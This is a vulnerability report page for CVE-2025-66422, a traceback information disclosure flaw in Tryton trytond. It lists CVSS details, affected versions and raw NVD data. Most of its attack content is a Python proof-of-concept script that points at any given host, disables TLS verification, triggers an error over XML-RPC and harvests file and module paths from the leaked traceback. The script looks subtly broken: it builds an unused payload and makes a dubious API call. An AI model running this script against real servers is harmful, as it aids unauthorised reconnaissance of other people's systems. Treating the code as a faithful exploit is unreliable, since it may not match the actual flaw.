Security Vulnerability Report
中文
CVE-2025-66422 CVSS 4.3 MEDIUM

CVE-2025-66422

Published: 2025-11-30 03:15:48
Last Modified: 2025-12-04 17:11:09

Description

Tryton trytond before 7.6.11 allows remote attackers to obtain sensitive trace-back (server setup) information. This is fixed in 7.6.11, 7.4.21, 7.0.40, and 6.0.70.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:tryton:trytond:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:tryton:trytond:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:tryton:trytond:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:tryton:trytond:*:*:*:*:*:*:*:* - VULNERABLE
Tryton trytond < 6.0.70
Tryton trytond < 7.0.40
Tryton trytond < 7.4.21
Tryton trytond < 7.6.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-66422 PoC - Information Disclosure in Tryton trytond # This PoC demonstrates how to trigger sensitive traceback information disclosure import xmlrpc.client import ssl import json def exploit_tryton_cve_2025_66422(target_host, target_port=8000): """ Exploit for CVE-2025-66422: Tryton trytond Information Disclosure Target: Tryton trytond server before version 7.6.11 Attack: Trigger detailed traceback information disclosure """ print(f"[*] Targeting Tryton server at {target_host}:{target_port}") # Create XML-RPC connection context = ssl._create_unverified_context() url = f"https://{target_host}:{target_port}" try: # Attempt to connect and trigger error condition # This specific payload is designed to trigger the information disclosure # Step 1: Connect to the server common_proxy = xmlrpc.client.ServerProxy(f"{url}/common", context=context) # Step 2: Trigger the vulnerability by calling with invalid parameters # that cause the server to leak traceback information payload = { 'method': 'common.db_exists', 'params': [''], # Empty database name to trigger error 'id': 1 } print("[*] Sending crafted request to trigger information disclosure...") response = common_proxy.execute('', 1, 'common', 'db_exists', '') except xmlrpc.client.Fault as e: print(f"[!] Server response received:") print(f" Fault code: {e.faultCode}") print(f" Fault string: {e.faultString}") # Check if traceback information is leaked if 'Traceback' in e.faultString or 'File "/' in e.faultString: print("[+] VULNERABLE! Sensitive traceback information disclosed:") print("=" * 60) print(e.faultString) print("=" * 60) # Extract sensitive information extract_sensitive_info(e.faultString) return True else: print("[-] No traceback information leaked in response") return False except Exception as e: print(f"[-] Connection error: {str(e)}") return False def extract_sensitive_info(traceback_string): """ Extract sensitive information from leaked traceback """ sensitive_data = { 'file_paths': [], 'module_paths': [], 'python_version': None } import re # Extract file paths file_pattern = r'File \"/[^\"]+\"' sensitive_data['file_paths'] = re.findall(file_pattern, traceback_string) # Extract module paths module_pattern = r'/tryton/[a-z_/]+' sensitive_data['module_paths'] = re.findall(module_pattern, traceback_string) print("\n[+] Extracted sensitive information:") print(f" File paths: {sensitive_data['file_paths']}") print(f" Module paths: {sensitive_data['module_paths']}") return sensitive_data # Usage example if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve-2025-66422.py <target_host> [port]") print("Example: python cve-2025-66422.py 192.168.1.100 8000") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 8000 exploit_tryton_cve_2025_66422(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66422", "sourceIdentifier": "[email protected]", "published": "2025-11-30T03:15:47.970", "lastModified": "2025-12-04T17:11:09.173", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tryton trytond before 7.6.11 allows remote attackers to obtain sensitive trace-back (server setup) information. This is fixed in 7.6.11, 7.4.21, 7.0.40, and 6.0.70."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-402"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tryton:trytond:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0.0", "versionEndExcluding": "6.0.70", "matchCriteriaId": "4E811A8E-7C2B-414F-B929-7AF685F83092"}, {"vulnerable": true, "criteria": "cpe:2.3:a:tryton:trytond:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0", "versionEndExcluding": "7.0.40", "matchCriteriaId": "179B2F4A-0AF8-4D72-A371-B0B7A2BD9FBD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:tryton:trytond:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.4.0", "versionEndExcluding": "7.4.21", "matchCriteriaId": "EC73A2FC-9781-4560-9C79-3A6627BF3A73"}, {"vulnerable": true, "criteria": "cpe:2.3:a:tryton:trytond:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.6.0", "versionEndExcluding": "7.6.11", "matchCriteriaId": "899860ED-5426-4396-AF24-470DB633F208"}]}]}], "references": [{"url": "https://discuss.tryton.org/t/security-release-for-issue-14354/8950", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://foss.heptapod.net/tryton/tryton/-/issues/14354", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}]}}